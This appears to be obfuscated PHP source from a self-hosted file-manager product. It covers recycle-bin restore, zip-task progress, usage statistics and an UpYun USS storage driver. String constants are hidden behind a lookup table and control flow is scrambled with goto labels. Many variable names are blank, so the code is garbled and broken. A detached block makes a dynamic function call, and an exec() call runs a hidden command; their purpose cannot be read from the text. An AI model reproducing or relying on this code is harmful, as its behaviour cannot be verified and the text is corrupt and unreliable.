false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $Ķ = Model($[1341]); $̨ = $this->listData($); $թ = $թ === !1 ? !1 : $թ; $ = array(); foreach ($̨ as $) { if ($թ != !1 && !in_array($, $թ)) { continue; } $ = $Ķ->sourceInfo($); $Ķ->remove($, !1); $䠇 = $[$[411]] . $[11] . $[$[496]]; $[$䠇] = array($[576] => $[$[411]], $[496] => $[$[496]]); $this->where(array($[402] => $))->delete(); } foreach ($ as $) { $Ķ->targetSpaceUpdate($[$[411]], $[$[496]]); } } public function restore($ń = false) { $ = $this->listData(); $this->_restoreSource($, $ń); } public function removeUserAll($ԕ) { $this->remove(!1, $ԕ); } private function _restoreSource($τ, $®) { $ =& $_SERVER[]; $צ = Model($[1341]); $® = $® == !1 ? !1 : $®; if (!$τ) { return !0; } $Ϻ = array(); foreach ($τ as $) { if ($® != !1 && !in_array($, $®)) { continue; } $Ѕ = $צ->sourceInfo($); $ = $צ->sourceInfo($Ѕ[$[432]]); if ($[$[431]] == $[88]) { continue; } $צ->lockMoveStart($); $this->recycleMove($, 0); if ($Ѕ[$[410]] == $[88]) { $ = array($[580] => array($[540], $Ѕ[$[511]] . $ . $[541])); $צ->where($)->setField($[431], 0); $this->restoreFolderChildren($, $τ); } $this->where(array($[402] => $))->delete(); $צ->folderSizeReset($Ѕ[$[432]]); $Ϻ[] = $Ѕ[$[432]]; if ($Ѕ[$[410]] == $[88]) { $Ϻ[] = $; } $צ->lockMoveEnd($); } $צ->updateModifyTime($Ϻ); } private function restoreFolderChildren($н, $) { $ٱ =& $_SERVER[]; $Є = Model($ٱ[1341]); $ = array($ٱ[402] => array($ٱ[7], array())); foreach ($ as $) { if ($ == $н) { continue; } if (!$Є->isParentOf($н, $)) { continue; } $ˋ = $Є->sourceInfo($); if ($ˋ[$ٱ[410]] == $ٱ[88]) { $[] = array($ٱ[580] => array($ٱ[540], $ˋ[$ٱ[511]] . $ . $ٱ[541])); } else { $[$ٱ[402]][1][] = $; } } if (!$[$ٱ[402]][1]) { unset($[$ٱ[402]]); } if (!$) { return; } $[$ٱ[402]][1] = array_unique($[$ٱ[402]][1]); $[$ٱ[1002]] = $ٱ[1959]; $Є->where($)->setField($ٱ[431], 1); } private function recycleMove($⨌, $ = 1) { $ =& $_SERVER[]; $П = Model($[1341]); $ղ = Model($[2175]); $ = array($[402] => $⨌); if ($) { $П->where($)->setField($[431], 1); $ղ->eventRecycle($⨌, $[2176]); } else { $ = $П->where($)->find(); $ = $[$[410]] == $[88]; $܅ = $П->fileNameAuto($[$[432]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($܅ != $[$[32]]) { $П->rename($⨌, $܅); } $П->where($)->setField($[431], 0); $ղ->eventRecycle($⨌, $[2177]); } } } goto f; E: if ($_SERVER[$_SERVER[][875]] != $_SERVER[$_SERVER[][1786]]) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][876]]); } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ʢ =& $_SERVER[]; parent::startAfter(); Hook::bind($ʢ[1788], array($this, $ʢ[1781])); $ =& $this->task; $[$ʢ[1783]] = $ʢ[1196]; if (!$[$ʢ[1570]]) { $[$ʢ[1570]] = LNG($ʢ[1789]); } } protected function endAfter() { $݀ =& $_SERVER[]; parent::endAfter(); Hook::unbind($݀[1788], array($this, $݀[1781])); } public function updateAfter() { $ג =& $_SERVER[]; $خ =& $this->task; if (!$خ[$ג[785]] || !$خ[$ג[762]]) { return; } if ($خ[$ג[1783]] == $ג[1196]) { $ = $خ[$ג[1724]]; if ($خ[$ג[1725]] != $ג[1196]) { $ = 0; } $ = ($خ[$ג[1728]] + $) / $خ[$ג[762]]; $خ[$ג[1672]] = $ * 0.3; } else { if ($خ[$ג[1783]] == $ג[313]) { $ = $خ[$ג[1671]] / $خ[$ג[785]]; $خ[$ג[1672]] = 0.3 + $ * 0.5; } else { if ($خ[$ג[1783]] == $ג[107]) { $ = 0; if ($خ[$ג[1723]]) { $ = $خ[$ג[1724]] / $خ[$ג[1723]]; } $خ[$ג[1672]] = 0.3 + 0.5 + $ * 0.2; } } } if ($خ[$ג[1672]] > 0) { $ж = timeFloat() - $خ[$ג[1674]] - $خ[$ג[1677]]; $خ[$ג[1678]] = $ж * (1 - $خ[$ג[1672]]) / $خ[$ג[1672]]; } } public function copyFileStart($혆, $˟ℤ, $, $д, $, $팲) { $퐹 =& $_SERVER[]; parent::copyFileStart($혆, $˟ℤ, $, $д, $, $팲); $ =& $this->task; if ($[$퐹[1783]] == $퐹[313]) { $[$퐹[1783]] = $퐹[107]; } $this->update(); } public function copyFileEnd($߀𪑤, $ڢ, $䴣, $բ, $㧍, $˟) { $ =& $_SERVER[]; $ =& $this->task; $[$[1724]] = $[$[1723]]; $[$[1728]] += $[$[1723]]; $[$[1725]] = $[12]; $this->update(); } public function nameParse($˻) { $ʖ =& $_SERVER[]; $ =& $this->task; if ($[$ʖ[1671]] < $[$ʖ[785]]) { $涴 = get_path_this($˻); if (strstr($涴, $ʖ[10])) { $[$ʖ[1671]] += 1; } } if ($[$ʖ[1783]] == $ʖ[1196]) { $[$ʖ[1783]] = $ʖ[313]; } $[$ʖ[1721]] = $˻; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $벦 =& $_SERVER[]; $ɳ = array($벦[590] => array($벦[33] => $벦[1790], $벦[273] => array($벦[224], $벦[764], $벦[1791], $벦[1792])), $벦[1793] => array($벦[33] => $벦[1794], $벦[273] => array($벦[224], $벦[762], $벦[1795], $벦[1796], $벦[1797]))); if (!isset($ɳ[$])) { return !1; } $this->optionType = $ɳ[$][$벦[33]]; $this->field = $ɳ[$][$벦[273]]; return !0; } public function listData($ = false, $ = "\x6d\157\144\x69\146\x79\x54\151\155\145", $ԉ = false) { return parent::listData($, $, $ԉ); } public function trendList($) { $ =& $_SERVER[]; $֣ = $this->listData(); if ($֣) { $ = end($֣); $Ε = date($[1798], strtotime($[1799])); if ($[$[224]] == $Ε) { return $֣; } $͠吕 = strtotime($[$[224]]); } if (!isset($͠吕)) { $ݷ = $ == $[590] ? $[525] : $[824]; $͠吕 = Model($ݷ)->min($[201]); } $Ĩ = $[1800] . ucfirst($); $ԃ = $this->dateList($͠吕); foreach ($ԃ as $Ε) { $this->{$Ĩ}($Ε); } return $this->listData(); } private function dateList($ß) { $Ҙ =& $_SERVER[]; $ = $ß; $˔ = strtotime($Ҙ[1799]); $ = array(); while ($ <= $˔) { $[] = date($Ҙ[1798], $); $ = strtotime($Ҙ[1801], $); } return $; } public function _recordUser($ = '') { $ڒ =& $_SERVER[]; $ = strtotime(date($ڒ[1802], strtotime($))); $ݰ = strtotime(date($ڒ[1803], strtotime($))); $Ǭ = array($ڒ[201] => array($ڒ[1015], $ݰ)); $Ȋ = Model($ڒ[525])->where($Ǭ)->count($ڒ[1670]); $Ǭ[$ڒ[201]] = array($ڒ[333], array($, $ݰ)); $ = Model($ڒ[525])->where($Ǭ)->count($ڒ[1670]); $Ǭ[$ڒ[33]] = $ڒ[1804]; $᭘ = Model($ڒ[1805])->where($Ǭ)->count($ڒ[1806]); $ۣ = array($ڒ[224] => $, $ڒ[764] => (int) $Ȋ, $ڒ[1791] => (int) $, $ڒ[1792] => (int) $᭘); return $this->insert($ۣ); } public function _recordStore($͌ = '') { $ =& $_SERVER[]; $ˣ = strtotime(date($[1803], strtotime($͌))); $凫 = array($[201] => array($[1015], $ˣ)); $Ѧߣ = Model($[471])->where($凫)->sum($[76]); $凫[$[410]] = 0; $З = Model($[824])->where($凫)->sum($[76]); $凫[$[411]] = 1; $ = Model($[824])->where($凫)->sum($[76]); $凫[$[411]] = 2; $͛ = Model($[824])->where($凫)->sum($[76]); $ͮ = array($[224] => $͌, $[762] => (int) $З, $[1795] => (int) $Ѧߣ, $[1796] => (int) $, $[1797] => (int) $͛); return $this->insert($ͮ); } public function trend($, $) { $ޡ® =& $_SERVER[]; if (!$this->init($)) { return !1; } $ŕ = $this->trendList($); if ($ŕ && $ != $ޡ®[1643]) { $Զ = $ŕ[0][$ޡ®[224]]; $Ѡ = $this->validDate($, $Զ); $ה = array(); $ꦕ = array_to_keyvalue($ŕ, $ޡ®[224]); foreach ($Ѡ as $֓а) { if (isset($ꦕ[$֓а])) { $ = $ꦕ[$֓а]; } else { $ = end($ŕ); $[$ޡ®[224]] = $֓а; if ($ == $ޡ®[590]) { $[$ޡ®[1791]] = $[$ޡ®[1792]] = 0; } } $ה[] = $; } $ŕ = $ה; } $ٷ = array($ޡ®[590] => array($ޡ®[764] => LNG($ޡ®[1807]), $ޡ®[1791] => LNG($ޡ®[1808]), $ޡ®[1792] => LNG($ޡ®[1809])), $ޡ®[1793] => array($ޡ®[762] => LNG($ޡ®[1810]), $ޡ®[1795] => LNG($ޡ®[1811]), $ޡ®[1796] => LNG($ޡ®[1812]), $ޡ®[1797] => LNG($ޡ®[1813]))); $ = array($ޡ®[590] => $ޡ®[1814], $ޡ®[1793] => $ޡ®[76]); if (empty($ŕ)) { $֓а = date($ޡ®[1798], strtotime($ޡ®[1799])); $ = array($ޡ®[224] => $֓а); foreach ($ٷ[$] as $٦ => $Ҧ) { $[$٦] = 0; } $ŕ[] = $; } $ = array(); foreach ($ŕ as $Ҧ) { if ($ == $ޡ®[1793] && $Ҧ[$ޡ®[1795]] > $Ҧ[$ޡ®[762]]) { $Ҧ[$ޡ®[1795]] = $Ҧ[$ޡ®[762]]; } foreach ($ٷ[$] as $٦ => $) { $ = array($ޡ®[224] => $Ҧ[$ޡ®[224]], $ޡ®[1570] => $); $[$[$]] = isset($Ҧ[$٦]) ? $Ҧ[$٦] : 0; $[] = $; } } return $; } public function validDate($, $ߕ) { $ =& $_SERVER[]; $ۈ = date($[1798], strtotime($[1799])); $ = array($ۈ); switch ($) { case $[1650]: $ = mktime(0, 0, 0, date($[1815]), date($[1389]) - date($[1452]) + 7 - 7, date($[1816])); $¥ = 0; do { $ߧ = date($[1798], $ - 3600 * 24 * 7 * $¥); $[] = $ߧ; $¥++; } while ($ߕ < $ߧ); break; case $[1648]: $¥ = 1; do { $ۂ = date($[1817], strtotime("\55\x20{$¥}\40\155\x6f\x6e\164\x68\x73")); $[] = $ۂ; $¥++; } while ($ߕ < $ۂ); break; case $[1818]: $ͼ镄 = (int) date($[1816], strtotime($ߕ)); $՟ = (int) date($[1816]); if ($ͼ镄 >= $՟) { break; } for ($ͼ镄; $ͼ镄 < $՟; $ͼ镄++) { $[] = $ͼ镄 . $[1819]; } break; default: break; } if ($ߕ > end($)) { array_pop($); } sort($); return $; } public function listTable($؞ڹ) { $ = ucfirst($؞ڹ); return Model($)->listData(); } public function option($ˎ) { $ǰ = $_SERVER[][1820] . ucfirst($ˎ); return $this->{$ǰ}(); } private function optionUser() { $ǥ =& $_SERVER[]; $ɋ = Model($ǥ[525])->count($ǥ[1670]); $ = Model($ǥ[525])->where($ǥ[1821])->count($ǥ[1670]); $䔈 = intval($GLOBALS[$ǥ[6]][$ǥ[349]][$ǥ[1625]]) / 3600; $ = strtotime("\x2d{$䔈}\x20\150\x6f\165\162\x73"); $Ɬ = strtotime(date($ǥ[1802])); if ($ < $Ɬ) { $ = $Ɬ; } $Ŵ = array($ǥ[1822] => array($ǥ[1016], $)); $ɳ = (int) Model($ǥ[525])->where($Ŵ)->count($ǥ[1670]); if (!$ɳ) { $ɳ = 1; } $Ŵ = array($ǥ[1822] => array($ǥ[1016], $Ɬ)); $ñӒ = Model($ǥ[525])->where($Ŵ)->count($ǥ[1670]); return array($ǥ[757] => (int) $ɋ, $ǥ[1823] => (int) ($ɋ - $), $ǥ[1824] => (int) $, $ǥ[1825] => (int) $ñӒ, $ǥ[1826] => $ɳ); } private function optionFile() { $ٶ =& $_SERVER[]; $ƪ = $this->sourceSize(); $ = $ƪ[$ٶ[76]]; $ = $ƪ[$ٶ[1795]]; $ = Model($ٶ[824])->where(array($ٶ[410] => 0))->count($ٶ[402]); $ = array($ٶ[410] => 0, $ٶ[201] => array($ٶ[1016], strtotime(date($ٶ[1802])))); $ڕٳ = Model($ٶ[824])->where($)->sum($ٶ[76]); $ౕ = Model($ٶ[824])->where($)->count($ٶ[402]); return array($ٶ[762] => $, $ٶ[1795] => $, $ٶ[1827] => $ - $, $ٶ[1828] => (int) $ڕٳ, $ٶ[764] => (int) $, $ٶ[1829] => (int) $ౕ); } private function optionAccess() { $Ĝ =& $_SERVER[]; return array($Ĝ[757] => $this->typeLogCnt(), $Ĝ[107] => $this->typeLogCnt($Ĝ[107]), $Ĝ[452] => $this->typeLogCnt($Ĝ[452]), $Ĝ[1830] => $this->typeLogCnt($Ĝ[1830]), $Ĝ[1831] => $this->typeLogCnt($Ĝ[1831]), $Ĝ[590] => $this->typeLogCnt($Ĝ[12], $Ĝ[1806])); } private function typeLogCnt($Ȑ = '', $䦕 = "\x69\x64") { $ =& $_SERVER[]; $̉ = array($[107] => array($[1832], $[1833]), $[452] => array($[1834], $[1835]), $[1830] => array($[1836], $[1837], $[1838]), $[1831] => array($[1839], $[1840]), $[1841] => array($[1842], $[1843], $[1844])); $ = strtotime(date($[1802])); $ = array($[201] => array($[1016], $)); if ($Ȑ) { $[$[33]] = array($[7], $̉[$Ȑ]); } $ = Model($[1805])->where($)->count($䦕); return (int) $; } private function optionServer() { $şݝ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($şݝ[816] => $[$şݝ[399]]); $ = Model($şݝ[471])->where($)->sum($şݝ[76]); $ = explode($şݝ[53], $_SERVER[$şݝ[143]]); $ = $[0]; $ = $GLOBALS[$şݝ[6]][$şݝ[21]]; $٫ٙ = $[$şݝ[978]]; if ($٫ٙ == $şݝ[966]) { $ = explode($şݝ[1281], $[$şݝ[977]]); $٫ٙ = $[0]; } if ($٫ٙ == $şݝ[914] || $٫ٙ == $şݝ[803]) { $ = Model()->db()->query($şݝ[1845]); $Ⱥ = $[0] && isset($[0][$şݝ[1569]]) ? $[0][$şݝ[1569]] : 0; $٫ٙ = $şݝ[1846] . ($Ⱥ ? $şݝ[8] . $Ⱥ : $şݝ[12]); } $Ň = $GLOBALS[$şݝ[6]][$şݝ[349]][$şݝ[826]]; return array($şݝ[1847] => $ ? $[$şݝ[1848]] : 0, $şݝ[1849] => $ ? $[$şݝ[1850]] : 0, $şݝ[1851] => (int) $[$şݝ[1848]] * 1024 * 1024 * 1024, $şݝ[1852] => (int) $, $şݝ[1853] => ucfirst($), $şݝ[1854] => $şݝ[1855] . PHP_VERSION, $şݝ[1856] => phpBuild64() ? 64 : 32, $şݝ[756] => str_replace($şݝ[1132], $şݝ[994], $٫ٙ), $şݝ[349] => ucfirst($Ň), $şݝ[32] => $_SERVER[$şݝ[1857]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $Պڸ = $GLOBALS[$[6]][$[1298]] == $[1299]; if ($Պڸ) { $ = $[1858]; if (function_exists($[1859])) { exec($[1860], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ԃ = @disk_total_space($); $ = $ԃ - @disk_free_space($); return array($[1848] => $ԃ, $[1850] => $); } public function fileChart($ִ) { $țß =& $_SERVER[]; if (isset($ִ[$țß[1670]])) { return Model($țß[824])->userFileTypeProfile($ִ[$țß[1670]]); } if (isset($ִ[$țß[1861]])) { return Model($țß[824])->groupFileTypeProfile($ִ[$țß[1861]]); } $ݠ = $this->sourceSize(); $ = array($țß[432] => 0, $țß[411] => 1); $Ɣَ = Model($țß[824])->where($)->sum($țß[76]); $[$țß[411]] = 2; $䔞 = Model($țß[824])->where($)->sum($țß[76]); return array($țß[762] => $ݠ[$țß[76]], $țß[1795] => $ݠ[$țß[1795]], $țß[1796] => (int) $Ɣَ, $țß[1797] => (int) $䔞); } private function sourceSize() { $Ƹ =& $_SERVER[]; $ޓ = Model($Ƹ[824])->where(array($Ƹ[410] => 0))->sum($Ƹ[76]); $Ȭ = Model($Ƹ[471])->sum($Ƹ[76]); if ($Ȭ > $ޓ) { $Ȭ = $ޓ; } return array($Ƹ[76] => (int) $ޓ, $Ƹ[1795] => (int) $Ȭ); } } goto AԳ; a˃: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\x74\160\x3a\57\x2f\x76\60\56\141\x70\151\56\165\x70\171\165\156\56\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ځ =& $_SERVER[]; foreach ($ as $ː => $) { if (isset($this->{$ː})) { $this->{$ː} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ځ[1467] . LNG($ځ[1398])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ͳ, $ۇĄ = "\107\105\x54") { $Ǥъ =& $_SERVER[]; $˅ = gmdate($Ǥъ[1431]); $ = base64_encode(hash_hmac($Ǥъ[1468], "{$ۇĄ}\46{$ͳ}\x26{$˅}", md5("{$this->userpass}"), !0)); $ʏ = array("\x41\165\x74\150\x6f\x72\x69\x7a\141\x74\x69\157\x6e\x3a\x55\x50\131\x55\x4e\40{$this->username}\72{$}", "\104\141\x74\x65\x3a{$˅}"); return $ʏ; } public function ussRequest($읂, $ = "\x47\105\x54", $ = false, $Ŵ = false, $ウ = false) { $˧ =& $_SERVER[]; $읂 = trim($읂, $˧[8]); $܈ = "\57{$this->bucket}\x2f{$읂}"; $ = $this->ussHeaders($܈, $); if ($Ŵ) { $ = array_merge($, $Ŵ); } $ = url_request($this->endpoint . $܈, $, $, $, $ウ); if (!$) { return array($˧[1214] => !1, $˧[1204] => $˧[1469]); } if (strtolower($) == $˧[197] || in_array($[$˧[1214]], array($˧[1324], $˧[1470]))) { $ = $[$˧[1471]]; } else { $ = json_decode($[$˧[1204]], !0); if (!$) { $ = $[$˧[1204]]; } else { if (!$[$˧[748]] && isset($[$˧[1472]])) { $ = $[$˧[1472]]; } } } return array($˧[1214] => $[$˧[748]], $˧[1204] => $); } public function mkfile($ȝ, $解 = '', $ě = REPEAT_RENAME) { if ($this->setContent($ȝ, $解)) { return $this->getPathOuter($ȝ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ŧ = array($[1473]); $ʧိ = $this->ussRequest($, $[226], !1, $ŧ); return $ʧိ[$[1214]] ? $this->getPathOuter($) : !1; } public function copyFile($, $ގ) { $ҷ =& $_SERVER[]; $̫ = array($ҷ[1474] . "\x2f{$this->bucket}\x2f{$}", $ҷ[1475]); $¯ = $this->ussRequest($ގ, $ҷ[228], !1, $̫); return $¯[$ҷ[1214]] ? !0 : $this->getPathOuter($ގ); } public function moveFile($ٺ, $ů) { $߃ =& $_SERVER[]; $ʼ = array($߃[1476] . "\57{$this->bucket}\57{$ٺ}", $߃[1475]); $ = $this->ussRequest($ů, $߃[228], !1, $ʼ); return $[$߃[1214]] ? !0 : $this->getPathOuter($ů); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussRequest($, $[1477]); return $[$[1214]] ? !0 : !1; } public function delFolder($) { $ʶ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $ǖ = array(); $this->fileList($, $, $ǖ, !0); $this->listItemCache = !0; foreach ($ǖ as $ߙ) { $ = $this->ussRequest($ߙ[$ʶ[32]], $ʶ[1477]); if (!$[$ʶ[1214]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $ʶ[1477]); if (!$[$ʶ[1214]]) { return !1; } } $ = $this->ussRequest($, $ʶ[1477]); return $[$ʶ[1214]]; } public function rename($屡, $¦) { if ($this->isFile($屡)) { $¦ = get_path_father($屡) . $¦; return $this->moveFile($屡, $¦); } return $this->renameObject($屡, $¦); } public function fileInfo($Ȧ, $֟ = false, $ = array()) { $̮ =& $_SERVER[]; $ = array($̮[32] => $this->pathThis($Ȧ), $̮[84] => $this->getPathOuter($̮[8] . $Ȧ), $̮[33] => $̮[200], $̮[76] => isset($[$̮[76]]) ? $[$̮[76]] : 0, $̮[174] => $this->ext($Ȧ)); if ($֟) { return $; } $[$̮[201]] = $[$̮[85]] = 0; $[$̮[202]] = $[$̮[203]] = !0; if (empty($)) { $ = $this->objectMeta($Ȧ); if (!$) { return $; } } $[$̮[201]] = intval($[$̮[1478]]); $[$̮[85]] = intval($[$̮[1479]]); $[$̮[76]] = $[$̮[76]]; return $; } public function folderInfo($Г, $ = false) { $ʳ =& $_SERVER[]; $䱷 = array($ʳ[32] => $this->pathThis($Г), $ʳ[84] => $this->getPathOuter($ʳ[8] . $Г), $ʳ[33] => $ʳ[75]); if ($) { return $䱷; } $䱷[$ʳ[201]] = $䱷[$ʳ[85]] = 0; $䱷[$ʳ[202]] = $䱷[$ʳ[203]] = !0; if (empty($)) { $ = $this->objectMeta($Г); if (!$) { return $䱷; } } $䱷[$ʳ[201]] = intval($[$ʳ[1478]]); $䱷[$ʳ[85]] = intval($[$ʳ[1479]]); return $䱷; } private function listObjs($ٗ, $̭ = 0, $Л = 1000) { $ѠƂ =& $_SERVER[]; $ = array($ѠƂ[1480], $ѠƂ[1481] . $Л); if ($̭) { $[] = $ѠƂ[1482] . $̭; } $ = $this->ussRequest($ٗ, $ѠƂ[230], !1, $); return !$[$ѠƂ[1214]] ? !1 : $[$ѠƂ[1204]]; } private function fileList($֎֯, &$ȼץ, &$ǃ, $ = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $ = rtrim($֎֯, $[8]) . $[8]; while (!0) { check_abort(); $ȡ = $this->listObjs($֎֯, $, $); if (!$ȡ) { return !1; } $ = isset($ȡ[$[1483]]) ? $ȡ[$[1483]] : $[12]; $Ӷ = isset($ȡ[$[1484]]) ? $ȡ[$[1484]] : array(); foreach ($Ӷ as $) { $ = $[$[33]] == $[75] ? !0 : !1; $LJ = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ن = array($[32] => $LJ, $[33] => $ ? $[75] : $[200], $[76] => $[$[337]], $[1479] => $[$[1485]]); $this->cacheMethodInfoSet($LJ, $, $ن); if ($) { $ȼץ[] = $LJ; if ($) { $this->fileList($LJ, $ȼץ, $ǃ, $); } continue; } $ǃ[] = $ن; } if (count($Ӷ) < $) { break; } } $this->cacheMethodInfoSet($֎֯, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $蟳 = $ = array(); $this->fileList($, $蟳, $); foreach ($蟳 as $ => $͂) { $蟳[$] = $this->folderInfo($͂, $); } foreach ($ as $ => $͂) { $[$] = $this->fileInfo($͂[$[32]], $, $͂); } return array($[82] => $蟳, $[83] => $); } public function has($؍, $ = false, $븢 = true) { $ =& $_SERVER[]; $ = $[12]; $Μ = 500; $Ч = 0; $ = 0; $ȼĮ = rtrim($؍, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($؍, $, $Μ); if (!$) { return !1; } $ = isset($[$[1483]]) ? $[$[1483]] : $[12]; $ = isset($[$[1484]]) ? $[$[1484]] : array(); if (empty($)) { break; } $ = array_filter($, function ($ʭ) { $ =& $_SERVER[]; return $ʭ[$[33]] == $[75]; }); $ = count($); $ = count($); $Ƽ = $ - $; if ($) { $ += $; $Ч += $Ƽ; if ($ < $Μ) { break; } continue; } if ($븢) { if ($Ƽ) { return !0; } } else { if ($) { return !0; } } if ($ < $Μ) { break; } } if ($) { return array($[207] => $Ч, $[208] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $Â, !0); $ٖ = array_to_keyvalue($Â, $[32]); foreach ($ as $߸⫠) { if (is_string($߸⫠)) { $ٖ[$߸⫠] = array($[76] => 0); } } return $this->listAllFiles($, $ٖ); } public function canRead($Ӗ) { return $this->exist($Ӗ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ɠ, $͋ǔ = '') { $ٵ =& $_SERVER[]; if (!$͋ǔ) { $ϱ = $this->ussRequest($ɠ, $ٵ[226]); return $ϱ[$ٵ[1214]]; } $ۚ = $this->tempFile($this->pathThis($ɠ)); file_put_contents($ۚ, $͋ǔ); if ($this->upload($ɠ, $ۚ)) { $this->tempFileRemve($ۚ); return !0; } return !1; } public function fileSubstr($뵖, $, $) { $ǖ =& $_SERVER[]; if (!($ȋԡ = $this->link($뵖))) { return !1; } $ྯ = !1; if ($ > 0) { $ = $ + $ - 1; $ྯ = array($ǖ[1446] . $ . $ǖ[386] . $); } $Ζ = url_request($ȋԡ, $ǖ[230], !1, $ྯ); return $Ζ[$ǖ[748]] ? $Ζ[$ǖ[1204]] : !1; } public function upload($, $ζ, $ѹ٩ = false, $帄 = REPEAT_REPLACE) { $ɧ =& $_SERVER[]; $֢ = IO::size($ζ); if ($֢ <= 1024 * 1024 * 200) { $ׄԢ = array($ɧ[1486] . $ζ); $ײ = $this->ussRequest($, $ɧ[228], $ׄԢ); return $ײ[$ɧ[1214]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ܸ = array($ɧ[1487], $ɧ[1488] . $֢, $ɧ[1489], $ɧ[1490] . $); $ײ = $this->ussRequest($, $ɧ[228], !1, $ܸ); if (!$ײ[$ɧ[1214]]) { return !1; } $« = $ײ[$ɧ[1204]]; $ = 0; $ѵݼ = $«[$ɧ[1491]]; $ߪ = fopen($ζ, $ɧ[1395]); if (!$ߪ) { return !1; } do { $ = $«[$ɧ[1492]]; fseek_64($ߪ, $); $ = fread($ߪ, $); $הǡ = 0; do { $הǡ++; $« = $this->uploadPart($, $«, $); } while (!$« && $הǡ < 3); if (!$«) { return !1; } $ѵݼ = $«[$ɧ[1491]]; $ += $; } while ($ѵݼ != -1); fclose($ߪ); $ܸ = array($ɧ[1493], $ɧ[1494] . $«[$ɧ[1495]], $ɧ[1489]); $ײ = $this->ussRequest($, $ɧ[228], !1, $ܸ); return $ײ[$ɧ[1214]] ? $this->getPathOuter($ޘ) : !1; } private function uploadPart($Ђ, $, &$Ă) { $ =& $_SERVER[]; $Ԅ = array($[1496], $[1494] . $[$[1495]], $[1497] . $[$[1491]], $[142] . $[$[1492]]); $־ = $this->ussRequest($Ђ, $[228], $Ă, $Ԅ); return !$־[$[1214]] ? $־[$[1214]] : $־[$[1204]]; } public function uploadFormData($پ, $ΌԌ = 3600) { return $this->uploadPolicy($پ, $ΌԌ); } public function multiUploadFormData($, $ = 3600) { $² =& $_SERVER[]; $ߎ = (int) $GLOBALS[$²[7]][$²[76]]; return $this->uploadPolicy($, $, $ߎ); } private function uploadPolicy($, $זߥ = 3600, $Ҕ = 0) { $չ =& $_SERVER[]; $ˮ = $չ[8] . $this->bucket; $ = gmdate($չ[1431]); $Ӷ = array($չ[1498] => $this->bucket, $չ[1499] => $, $չ[1500] => time() + $זߥ, $չ[1501] => $); if ($Ҕ) { $Ӷ[$չ[1411]] = $Ҕ; } $˛ = base64_encode(json_encode($Ӷ)); $ = base64_encode(hash_hmac($չ[1468], "\120\117\123\124\46{$ˮ}\46{$}\46{$˛}", md5("{$this->userpass}"), !0)); $܇ = array($չ[1336] => $˛, $չ[1502] => "\125\120\x59\125\x4e\x20{$this->username}\72{$}", $չ[182] => $this->endpoint . $ˮ); return $܇; } public function download($, $⨜) { $ã = IO::getPathInner(IO::mkfile($⨜)); if (!($Ҡ = $this->link($))) { return !1; } $ݏ = 0; $Ϧ = 1024 * 200; $ = fopen($ã, $_SERVER[][1452]); while (!0) { $ = $this->fileSubstr($, $ݏ, $Ϧ); if ($ === !1) { return !1; } fwrite($, $); $ݏ += $Ϧ; if (strlen($) < $Ϧ) { break; } } fclose($); return $⨜; } public function link($, $ = array()) { $˶ =& $_SERVER[]; $ = trim($, $˶[8]); if (!empty($this->token)) { $ŕ = strtotime(date($˶[1503])); $Ʋص = substr(md5($this->token . $˶[284] . $ŕ . $˶[1504] . $), 12, 8) . $ŕ; $[] = $˶[1505] . $Ʋص; } $䊐 = !empty($) ? $˶[73] . implode($˶[284], $) : $˶[12]; return $this->getHost() . $˶[8] . $ . $䊐; } public function fileOut($ӆו, $ = false, $ܔ = false, $߷Ҽ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ӆו, $, $ܔ, $߷Ҽ); } if (!$ܔ) { $ܔ = $this->pathThis($ӆו); } $ɢ = $ ? array($_SERVER[][1506] . rawurlencode($ܔ)) : array(); $ = $this->link($ӆו, $ɢ); $this->fileOutLink($); } public function fileOutServer($, $М = false, $ч = false, $ɇ = '') { parent::fileOut($, $М, $ч, $ɇ); } public function fileOutImage($Ч, $ = 250) { $ = $this->link($Ч . $_SERVER[][1507] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($Ʉ) { $ċ =& $_SERVER[]; $ӷ = $this->_objectMeta($Ʉ); return isset($ӷ[$ċ[212]]) ? $ӷ[$ċ[212]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ɟ) { return $this->isFile($ɟ) || $this->isFolder($ɟ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($֠) { return 